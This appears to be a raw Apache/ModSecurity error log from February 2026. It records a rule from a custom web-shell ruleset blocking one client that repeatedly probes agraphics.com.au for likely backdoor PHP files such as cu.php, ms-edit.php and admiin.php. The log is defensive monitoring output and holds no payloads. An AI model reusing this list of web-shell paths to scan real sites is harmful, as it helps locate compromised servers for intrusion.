[Fri Feb 13 00:13:28.552898 2026] [:error] [pid 63417:tid 63460] [client 20.215.189.110:44829] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/login8.php"] [unique_id "aY38KP8gSb97qRMtXCIe6gAAAEs"]
[Fri Feb 13 00:13:29.465856 2026] [:error] [pid 63417:tid 63459] [client 20.215.189.110:5706] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/login8.php"] [unique_id "aY38Kf8gSb97qRMtXCIe7QAAAEo"]
[Fri Feb 13 00:13:31.128366 2026] [:error] [pid 46603:tid 46624] [client 20.215.189.110:23011] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/login8.php"] [unique_id "aY38K_Ei6O39v05JNJexEwAAARM"]
[Fri Feb 13 00:13:32.060619 2026] [:error] [pid 46603:tid 46629] [client 20.215.189.110:9238] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nnyvn.php"] [unique_id "aY38LPEi6O39v05JNJexGgAAARg"]
[Fri Feb 13 00:13:33.030462 2026] [:error] [pid 63416:tid 63432] [client 20.215.189.110:9504] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nnyvn.php"] [unique_id "aY38Lb2wmecPaCHcM2_3GAAAAYs"]
[Fri Feb 13 00:13:33.904876 2026] [:error] [pid 46675:tid 46701] [client 20.215.189.110:8060] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nnyvn.php"] [unique_id "aY38LTuaQILPonWFiQmlHAAAAVc"]
[Fri Feb 13 00:13:34.611953 2026] [:error] [pid 65064:tid 65072] [client 20.215.189.110:44583] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nnyvn.php"] [unique_id "aY38LhOvRgscTcqsMBkyUwAAAMU"]
[Fri Feb 13 00:13:35.273378 2026] [:error] [pid 63511:tid 63520] [client 20.215.189.110:44803] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aY38L6QCQbD5BgeyIk1RtAAAAAc"]
[Fri Feb 13 00:13:36.071265 2026] [:error] [pid 46718:tid 46741] [client 20.215.189.110:8716] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aY38MEdfX45LelQwruRl0QAAAdQ"]
[Fri Feb 13 00:13:36.822822 2026] [:error] [pid 63416:tid 63436] [client 20.215.189.110:32033] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aY38ML2wmecPaCHcM2_3HQAAAY8"]
[Fri Feb 13 00:13:37.432441 2026] [:error] [pid 63511:tid 63519] [client 20.215.189.110:44551] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aY38MaQCQbD5BgeyIk1RuwAAAAY"]
[Fri Feb 13 00:13:38.102960 2026] [:error] [pid 65064:tid 65069] [client 20.215.189.110:44818] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lul.php"] [unique_id "aY38MhOvRgscTcqsMBkyWwAAAMI"]
[Fri Feb 13 00:13:38.738847 2026] [:error] [pid 46718:tid 46737] [client 20.215.189.110:32059] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lul.php"] [unique_id "aY38MkdfX45LelQwruRl4QAAAdA"]
[Fri Feb 13 00:13:39.528963 2026] [:error] [pid 63417:tid 63461] [client 20.215.189.110:10814] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lul.php"] [unique_id "aY38M_8gSb97qRMtXCIe-gAAAEw"]
[Fri Feb 13 00:13:40.278219 2026] [:error] [pid 46718:tid 46730] [client 20.215.189.110:37315] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lul.php"] [unique_id "aY38NEdfX45LelQwruRl4wAAAck"]
[Fri Feb 13 00:13:40.962691 2026] [:error] [pid 65064:tid 65085] [client 20.215.189.110:9225] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aY38NBOvRgscTcqsMBkyYgAAANI"]
[Fri Feb 13 00:13:41.720402 2026] [:error] [pid 46675:tid 46696] [client 20.215.189.110:9223] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aY38NTuaQILPonWFiQmlJwAAAVI"]
[Fri Feb 13 00:13:42.689805 2026] [:error] [pid 63416:tid 63440] [client 20.215.189.110:37333] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aY38Nr2wmecPaCHcM2_3IgAAAZM"]
[Fri Feb 13 00:13:43.360956 2026] [:error] [pid 63417:tid 63470] [client 20.215.189.110:8008] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aY38N_8gSb97qRMtXCIe_gAAAFU"]
[Fri Feb 13 00:13:44.837688 2026] [:error] [pid 46718:tid 46729] [client 20.215.189.110:16269] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aY38OEdfX45LelQwruRl6gAAAcg"]
[Fri Feb 13 00:13:45.502032 2026] [:error] [pid 63417:tid 63452] [client 20.215.189.110:16273] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aY38Of8gSb97qRMtXCIfAAAAAEM"]
[Fri Feb 13 00:13:46.646752 2026] [:error] [pid 63417:tid 63450] [client 20.215.189.110:15001] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aY38Ov8gSb97qRMtXCIfAgAAAEE"]
[Fri Feb 13 00:13:47.394615 2026] [proxy_fcgi:error] [pid 46603:tid 46623] [client 20.215.189.110:43627] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:13:47.657391 2026] [proxy_fcgi:error] [pid 46603:tid 46629] [client 20.215.189.110:43627] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:13:48.019521 2026] [proxy_fcgi:error] [pid 46603:tid 46618] [client 20.215.189.110:43627] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:13:48.292922 2026] [proxy_fcgi:error] [pid 46603:tid 46610] [client 20.215.189.110:43627] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:13:48.553002 2026] [proxy_fcgi:error] [pid 46603:tid 46613] [client 20.215.189.110:43627] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:13:48.812480 2026] [proxy_fcgi:error] [pid 46603:tid 46608] [client 20.215.189.110:43627] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:13:49.072712 2026] [proxy_fcgi:error] [pid 46603:tid 46628] [client 20.215.189.110:43627] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:13:49.339403 2026] [proxy_fcgi:error] [pid 46603:tid 46606] [client 20.215.189.110:43627] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:13:49.598248 2026] [proxy_fcgi:error] [pid 46603:tid 46605] [client 20.215.189.110:43627] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:13:49.884172 2026] [proxy_fcgi:error] [pid 46603:tid 46607] [client 20.215.189.110:43627] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:13:50.144833 2026] [proxy_fcgi:error] [pid 46603:tid 46625] [client 20.215.189.110:43627] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:13:50.455631 2026] [:error] [pid 46603:tid 46619] [client 20.215.189.110:43627] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aY38PvEi6O39v05JNJexSgAAAQ4"]
[Fri Feb 13 00:13:51.263484 2026] [:error] [pid 46718:tid 46739] [client 20.215.189.110:26441] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aY38P0dfX45LelQwruRl7gAAAdI"]
[Fri Feb 13 00:13:52.358414 2026] [:error] [pid 46718:tid 46736] [client 20.215.189.110:35984] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aY38QEdfX45LelQwruRl9gAAAc8"]
[Fri Feb 13 00:13:53.198283 2026] [:error] [pid 46718:tid 46731] [client 20.215.189.110:20769] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aY38QUdfX45LelQwruRl-QAAAco"]
[Fri Feb 13 00:13:54.302356 2026] [:error] [pid 63418:tid 63482] [client 20.215.189.110:27908] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fot.php"] [unique_id "aY38Qtzjh-bbJnStPZIZdQAAAIY"]
[Fri Feb 13 00:13:55.121104 2026] [:error] [pid 46718:tid 46723] [client 20.215.189.110:27420] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fot.php"] [unique_id "aY38Q0dfX45LelQwruRl_QAAAcI"]
[Fri Feb 13 00:13:56.009748 2026] [:error] [pid 46603:tid 46611] [client 20.215.189.110:5123] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fot.php"] [unique_id "aY38RPEi6O39v05JNJexTwAAAQY"]
[Fri Feb 13 00:13:57.525422 2026] [:error] [pid 46718:tid 46744] [client 20.215.189.110:9794] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fot.php"] [unique_id "aY38RUdfX45LelQwruRmCAAAAdc"]
[Fri Feb 13 00:13:58.486795 2026] [:error] [pid 46603:tid 46624] [client 20.215.189.110:27515] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aY38RvEi6O39v05JNJexUQAAARM"]
[Fri Feb 13 00:13:59.391180 2026] [:error] [pid 63417:tid 63462] [client 20.215.189.110:12280] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aY38R_8gSb97qRMtXCIfDwAAAE0"]
[Fri Feb 13 00:14:00.711027 2026] [:error] [pid 63418:tid 63495] [client 20.215.189.110:9736] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aY38SNzjh-bbJnStPZIZfAAAAJM"]
[Fri Feb 13 00:14:01.387099 2026] [:error] [pid 46718:tid 46736] [client 20.215.189.110:27923] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aY38SUdfX45LelQwruRmGAAAAc8"]
[Fri Feb 13 00:14:02.194660 2026] [:error] [pid 63416:tid 63429] [client 20.215.189.110:9762] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aY38Sr2wmecPaCHcM2_3NgAAAYg"]
[Fri Feb 13 00:14:03.281583 2026] [:error] [pid 46718:tid 46735] [client 20.215.189.110:9850] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aY38S0dfX45LelQwruRmHQAAAc4"]
[Fri Feb 13 00:14:04.137222 2026] [:error] [pid 46718:tid 46724] [client 20.215.189.110:42613] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aY38TEdfX45LelQwruRmIAAAAcM"]
[Fri Feb 13 00:14:04.937705 2026] [:error] [pid 63417:tid 63453] [client 20.215.189.110:7493] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aY38TP8gSb97qRMtXCIfFgAAAEQ"]
[Fri Feb 13 00:14:05.725941 2026] [:error] [pid 46718:tid 46732] [client 20.215.189.110:11584] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aY38TUdfX45LelQwruRmJAAAAcs"]
[Fri Feb 13 00:14:06.874169 2026] [:error] [pid 46718:tid 46731] [client 20.215.189.110:5167] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aY38TkdfX45LelQwruRmJgAAAco"]
[Fri Feb 13 00:14:07.681357 2026] [:error] [pid 63416:tid 63441] [client 20.215.189.110:11602] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aY38T72wmecPaCHcM2_3OgAAAZQ"]
[Fri Feb 13 00:14:08.624811 2026] [:error] [pid 63416:tid 63433] [client 20.215.189.110:12787] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aY38UL2wmecPaCHcM2_3PAAAAYw"]
[Fri Feb 13 00:14:09.388236 2026] [:error] [pid 63417:tid 63450] [client 20.215.189.110:5136] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aY38Uf8gSb97qRMtXCIfHAAAAEE"]
[Fri Feb 13 00:14:10.313921 2026] [:error] [pid 63416:tid 63431] [client 20.215.189.110:11635] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aY38Ur2wmecPaCHcM2_3PgAAAYo"]
[Fri Feb 13 00:14:11.524278 2026] [:error] [pid 63416:tid 63424] [client 20.215.189.110:22519] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aY38U72wmecPaCHcM2_3QAAAAYM"]
[Fri Feb 13 00:14:12.497485 2026] [:error] [pid 63416:tid 63429] [client 20.215.189.110:28416] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aY38VL2wmecPaCHcM2_3RAAAAYg"]
[Fri Feb 13 00:14:13.487196 2026] [:error] [pid 65064:tid 65085] [client 20.215.189.110:11599] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffd.php"] [unique_id "aY38VROvRgscTcqsMBkyhgAAANI"]
[Fri Feb 13 00:14:14.356194 2026] [:error] [pid 46675:tid 46700] [client 20.215.189.110:35978] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffd.php"] [unique_id "aY38VjuaQILPonWFiQmlVAAAAVY"]
[Fri Feb 13 00:14:15.924912 2026] [:error] [pid 63417:tid 63461] [client 20.215.189.110:36025] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffd.php"] [unique_id "aY38V_8gSb97qRMtXCIfIwAAAEw"]
[Fri Feb 13 00:14:16.858878 2026] [:error] [pid 46603:tid 46618] [client 20.215.189.110:9778] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffd.php"] [unique_id "aY38WPEi6O39v05JNJexaQAAAQ0"]
[Fri Feb 13 00:14:18.617792 2026] [:error] [pid 46603:tid 46627] [client 20.215.189.110:42589] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admiin.php"] [unique_id "aY38WvEi6O39v05JNJexbAAAARY"]
[Fri Feb 13 00:14:19.985333 2026] [:error] [pid 46603:tid 46629] [client 20.215.189.110:9753] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admiin.php"] [unique_id "aY38W_Ei6O39v05JNJexbgAAARg"]
[Fri Feb 13 00:14:21.204018 2026] [:error] [pid 46718:tid 46729] [client 20.215.189.110:12503] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admiin.php"] [unique_id "aY38XUdfX45LelQwruRmRgAAAcg"]
